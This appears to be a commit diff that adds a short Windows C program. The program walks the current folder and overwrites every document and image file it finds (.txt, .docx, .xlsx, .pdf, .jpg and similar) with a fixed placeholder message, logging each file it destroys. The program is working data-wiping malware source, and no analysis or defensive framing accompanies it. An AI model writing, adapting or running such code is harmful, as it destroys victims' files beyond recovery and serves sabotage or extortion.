|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <string.h> |
| 4 | +#include <windows.h> |
| 5 | + |
| 6 | +const char *EXTENSIONS[] = {".txt", ".docx", ".xlsx", ".pdf", ".jpg", ".jpeg", ".png", ".bmp"}; |
| 7 | +const int NUM_EXTENSIONS = sizeof(EXTENSIONS) / sizeof(EXTENSIONS[0]); |
| 8 | +const char *MESSAGE = "your msg."; |
| 9 | + |
| 10 | +int has_valid_extension(const char *filename) { |
| 11 | + for (int i = 0; i < NUM_EXTENSIONS; i++) { |
| 12 | + const char *ext = EXTENSIONS[i]; |
| 13 | + size_t len_filename = strlen(filename); |
| 14 | + size_t len_ext = strlen(ext); |
| 15 | + if (len_filename >= len_ext && |
| 16 | + _stricmp(filename + len_filename - len_ext, ext) == 0) { |
| 17 | + return 1; |
| 18 | + } |
| 19 | + } |
| 20 | + return 0; |
| 21 | +} |
| 22 | + |
| 23 | +void overwrite_file(const char *filepath) { |
| 24 | + FILE *file = fopen(filepath, "wb"); |
| 25 | + if (file) { |
| 26 | + fwrite(MESSAGE, 1, strlen(MESSAGE), file); |
| 27 | + fclose(file); |
| 28 | + printf("[+] Overwritten: %s\n", filepath); |
| 29 | + } else { |
| 30 | + printf("[-] Failed to open: %s\n", filepath); |
| 31 | + } |
| 32 | +} |
| 33 | + |
| 34 | +int main() { |
| 35 | + WIN32_FIND_DATA fd; |
| 36 | + HANDLE hFind = FindFirstFile("*", &fd); |
| 37 | + |
| 38 | + if (hFind == INVALID_HANDLE_VALUE) { |
| 39 | + printf("Failed to list files in current folder.\n"); |
| 40 | + return 1; |
| 41 | + } |
| 42 | + |
| 43 | + do { |
| 44 | + if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { |
| 45 | + if (has_valid_extension(fd.cFileName)) { |
| 46 | + overwrite_file(fd.cFileName); |
| 47 | + } |
| 48 | + } |
| 49 | + } while (FindNextFile(hFind, &fd)); |
| 50 | + |
| 51 | + FindClose(hFind); |
| 52 | + return 0; |
| 53 | +} |
0 commit comments